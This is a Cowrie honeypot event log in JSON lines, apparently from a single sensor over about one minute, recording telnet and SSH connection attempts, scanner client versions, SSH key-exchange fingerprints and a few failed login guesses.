{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":57474,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6efb67f8f53","protocol":"telnet","message":"New connection: 198.58.117.211:57474 (10.17.0.5:23) [session: e6efb67f8f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:49.842341Z"}
{"eventid":"cowrie.login.failed","username":"GET /devicedesc.xml HTTP/1.1","password":"","message":"login attempt [GET /devicedesc.xml HTTP/1.1/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:49.847195Z","src_ip":"198.58.117.211","session":"e6efb67f8f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1259491443634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:51.477196Z","src_ip":"64.227.9.242","session":"9bbd6bab410d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.0011351108551025,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:54.843396Z","src_ip":"198.58.117.211","session":"e6efb67f8f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":42980,"dst_ip":"10.17.0.5","dst_port":23,"session":"af8c9b770660","protocol":"telnet","message":"New connection: 198.58.117.211:42980 (10.17.0.5:23) [session: af8c9b770660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:54.883940Z"}
{"eventid":"cowrie.login.failed","username":"CONNECT","password":"accept-version:1.2","message":"login attempt [CONNECT/accept-version:1.2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:54.890242Z","src_ip":"198.58.117.211","session":"af8c9b770660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40980,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eaf1bd7d9a6","protocol":"telnet","message":"New connection: 64.227.9.242:40980 (159.203.135.109:23) [session: 8eaf1bd7d9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:55.725360Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":43296,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e356515e2cc","protocol":"telnet","message":"New connection: 64.227.9.242:43296 (159.203.135.109:23) [session: 4e356515e2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:57.325681Z"}
{"eventid":"cowrie.session.closed","duration":34.82636475563049,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:57.497182Z","src_ip":"64.227.9.242","session":"86ee33b3cb77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57431173324585,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:58.732792Z","src_ip":"64.227.9.242","session":"6fabd6b5927c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54101252555847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:59.405202Z","src_ip":"64.227.9.242","session":"d04cc588a434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.001581192016602,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:59.885360Z","src_ip":"198.58.117.211","session":"af8c9b770660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"adfe7216f041","protocol":"telnet","message":"New connection: 198.58.117.211:43064 (10.17.0.5:23) [session: adfe7216f041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:59.927982Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47540,"dst_ip":"159.203.135.109","dst_port":23,"session":"696902692a5a","protocol":"telnet","message":"New connection: 64.227.9.242:47540 (159.203.135.109:23) [session: 696902692a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:02.705592Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49604,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e0c4bc90935","protocol":"telnet","message":"New connection: 64.227.9.242:49604 (159.203.135.109:23) [session: 5e0c4bc90935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:04.122979Z"}
{"eventid":"cowrie.session.closed","duration":5.0010905265808105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:04.928942Z","src_ip":"198.58.117.211","session":"adfe7216f041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54796,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dea5c2d5567","protocol":"telnet","message":"New connection: 198.58.117.211:54796 (10.17.0.5:23) [session: 3dea5c2d5567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:04.971143Z"}
{"eventid":"cowrie.session.closed","duration":36.233930826187134,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:06.335739Z","src_ip":"64.227.9.242","session":"a264ea836ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.846291065216064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:07.035694Z","src_ip":"64.227.9.242","session":"91f6da89baa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07103443145752,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:09.885519Z","src_ip":"64.227.9.242","session":"643dfea0ea2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9998040199279785,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:09.970838Z","src_ip":"198.58.117.211","session":"3dea5c2d5567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54858,"dst_ip":"10.17.0.5","dst_port":23,"session":"06b72385c68c","protocol":"telnet","message":"New connection: 198.58.117.211:54858 (10.17.0.5:23) [session: 06b72385c68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:10.010051Z"}
{"eventid":"cowrie.session.closed","duration":34.53892946243286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:10.055320Z","src_ip":"64.227.9.242","session":"caf229aeeee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.922887325286865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:10.305505Z","src_ip":"64.227.9.242","session":"509b4a644814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02036690711975,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:10.852107Z","src_ip":"64.227.9.242","session":"08132235f7de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.854092597961426,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:11.521272Z","src_ip":"188.208.141.113","session":"331bf9ec330b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e09ca55e891","protocol":"telnet","message":"New connection: 64.227.9.242:56712 (159.203.135.109:23) [session: 0e09ca55e891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:12.014245Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33906,"dst_ip":"10.17.0.5","dst_port":23,"session":"b54c1e62ff0d","protocol":"telnet","message":"New connection: 188.208.141.113:33906 (10.17.0.5:23) [session: b54c1e62ff0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:12.616389Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33916,"dst_ip":"10.17.0.5","dst_port":23,"session":"1349d62d3ce0","protocol":"telnet","message":"New connection: 188.208.141.113:33916 (10.17.0.5:23) [session: 1349d62d3ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:12.968676Z"}
{"eventid":"cowrie.session.closed","duration":5.0032877922058105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:15.013195Z","src_ip":"198.58.117.211","session":"06b72385c68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33930,"dst_ip":"10.17.0.5","dst_port":23,"session":"22d9ad842976","protocol":"telnet","message":"New connection: 188.208.141.113:33930 (10.17.0.5:23) [session: 22d9ad842976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:15.213646Z"}
{"eventid":"cowrie.session.closed","duration":3.7457752227783203,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:16.362021Z","src_ip":"188.208.141.113","session":"b54c1e62ff0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33946,"dst_ip":"10.17.0.5","dst_port":23,"session":"49c2456f147e","protocol":"telnet","message":"New connection: 188.208.141.113:33946 (10.17.0.5:23) [session: 49c2456f147e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:16.744990Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":32886,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e1f7ea999fa","protocol":"telnet","message":"New connection: 64.227.9.242:32886 (159.203.135.109:23) [session: 9e1f7ea999fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:16.752963Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33956,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f254362bca","protocol":"telnet","message":"New connection: 188.208.141.113:33956 (10.17.0.5:23) [session: a8f254362bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:17.356538Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33598,"dst_ip":"159.203.135.109","dst_port":23,"session":"b469def67cb6","protocol":"telnet","message":"New connection: 64.227.9.242:33598 (159.203.135.109:23) [session: b469def67cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:17.439166Z"}
{"eventid":"cowrie.session.closed","duration":35.713860273361206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:17.704387Z","src_ip":"64.227.9.242","session":"e643721194e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.000044345855713,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:19.968591Z","src_ip":"188.208.141.113","session":"1349d62d3ce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73132348060608,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:20.211441Z","src_ip":"64.227.9.242","session":"30ef72d6e62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33962,"dst_ip":"10.17.0.5","dst_port":23,"session":"f83bfc382459","protocol":"telnet","message":"New connection: 188.208.141.113:33962 (10.17.0.5:23) [session: f83bfc382459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:20.309415Z"}
{"eventid":"cowrie.session.closed","duration":35.27733635902405,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:21.601297Z","src_ip":"64.227.9.242","session":"5091f8252a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.2070465087890625,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:21.951941Z","src_ip":"188.208.141.113","session":"49c2456f147e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.13081693649292,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:22.831906Z","src_ip":"64.227.9.242","session":"e544f8c1970d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8235561847686768,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:24.132807Z","src_ip":"188.208.141.113","session":"f83bfc382459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42280,"dst_ip":"159.203.135.109","dst_port":23,"session":"e62b81ccbfae","protocol":"telnet","message":"New connection: 64.227.9.242:42280 (159.203.135.109:23) [session: e62b81ccbfae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:25.347360Z"}
{"eventid":"cowrie.session.closed","duration":35.89336895942688,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:25.473354Z","src_ip":"64.227.9.242","session":"d65d28ba2c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7643620967865,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:25.974308Z","src_ip":"64.227.9.242","session":"b9692500c4ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45486,"dst_ip":"159.203.135.109","dst_port":23,"session":"6521d60a630e","protocol":"telnet","message":"New connection: 64.227.9.242:45486 (159.203.135.109:23) [session: 6521d60a630e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:28.062288Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":41032,"dst_ip":"10.17.0.5","dst_port":22,"session":"060e45dfdbc7","protocol":"ssh","message":"New connection: 112.217.199.222:41032 (10.17.0.5:22) [session: 060e45dfdbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:29.107275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:29.111830Z","src_ip":"112.217.199.222","session":"060e45dfdbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57304,"dst_ip":"10.17.0.5","dst_port":23,"session":"1045d5952ede","protocol":"telnet","message":"New connection: 188.208.141.113:57304 (10.17.0.5:23) [session: 1045d5952ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:29.257212Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:29.311085Z","src_ip":"112.217.199.222","session":"060e45dfdbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57318,"dst_ip":"10.17.0.5","dst_port":23,"session":"69874cdc8e79","protocol":"telnet","message":"New connection: 188.208.141.113:57318 (10.17.0.5:23) [session: 69874cdc8e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:29.841585Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:30.135953Z","src_ip":"112.217.199.222","session":"060e45dfdbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:31.337727Z","src_ip":"112.217.199.222","session":"060e45dfdbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.821170806884766,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:31.546383Z","src_ip":"64.227.9.242","session":"8eaf1bd7d9a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f180a7c191c","protocol":"telnet","message":"New connection: 188.208.141.113:49846 (10.17.0.5:23) [session: 0f180a7c191c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:33.078974Z"}
{"eventid":"cowrie.session.closed","duration":35.97612929344177,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:33.301696Z","src_ip":"64.227.9.242","session":"4e356515e2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54000,"dst_ip":"10.17.0.5","dst_port":22,"session":"18936a5ae094","protocol":"ssh","message":"New connection: 198.58.117.211:54000 (10.17.0.5:22) [session: 18936a5ae094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:34.937738Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":53994,"dst_ip":"10.17.0.5","dst_port":22,"session":"26862665ff76","protocol":"ssh","message":"New connection: 198.58.117.211:53994 (10.17.0.5:22) [session: 26862665ff76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:34.942096Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54004,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6e59572b99","protocol":"ssh","message":"New connection: 198.58.117.211:54004 (10.17.0.5:22) [session: ba6e59572b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:34.948292Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54016,"dst_ip":"10.17.0.5","dst_port":22,"session":"fac17e9242de","protocol":"ssh","message":"New connection: 198.58.117.211:54016 (10.17.0.5:22) [session: fac17e9242de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:34.952502Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54032,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d390d7869c","protocol":"ssh","message":"New connection: 198.58.117.211:54032 (10.17.0.5:22) [session: c6d390d7869c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:35.168047Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":55436,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f27f09faee","protocol":"telnet","message":"New connection: 198.58.117.211:55436 (10.17.0.5:23) [session: d3f27f09faee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:35.198169Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":55424,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e4b182b0e0","protocol":"telnet","message":"New connection: 198.58.117.211:55424 (10.17.0.5:23) [session: 36e4b182b0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:35.204298Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":53330,"dst_ip":"159.203.135.109","dst_port":23,"session":"21bcdce0e413","protocol":"telnet","message":"New connection: 64.227.9.242:53330 (159.203.135.109:23) [session: 21bcdce0e413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:35.271417Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54002,"dst_ip":"159.203.135.109","dst_port":23,"session":"3098215132bb","protocol":"telnet","message":"New connection: 64.227.9.242:54002 (159.203.135.109:23) [session: 3098215132bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:35.899412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.378338Z","src_ip":"198.58.117.211","session":"c6d390d7869c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.388359Z","src_ip":"198.58.117.211","session":"26862665ff76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.192859411239624,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.397043Z","src_ip":"198.58.117.211","session":"36e4b182b0e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.429779Z","src_ip":"198.58.117.211","session":"ba6e59572b99","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-NmapNSE_1.0","message":"Remote SSH version: SSH-1.5-NmapNSE_1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.436867Z","src_ip":"198.58.117.211","session":"18936a5ae094","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3","message":"Remote SSH version: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.440235Z","src_ip":"198.58.117.211","session":"fac17e9242de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.443727Z","src_ip":"198.58.117.211","session":"18936a5ae094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.479058Z","src_ip":"198.58.117.211","session":"c6d390d7869c","protocol":"ssh"}
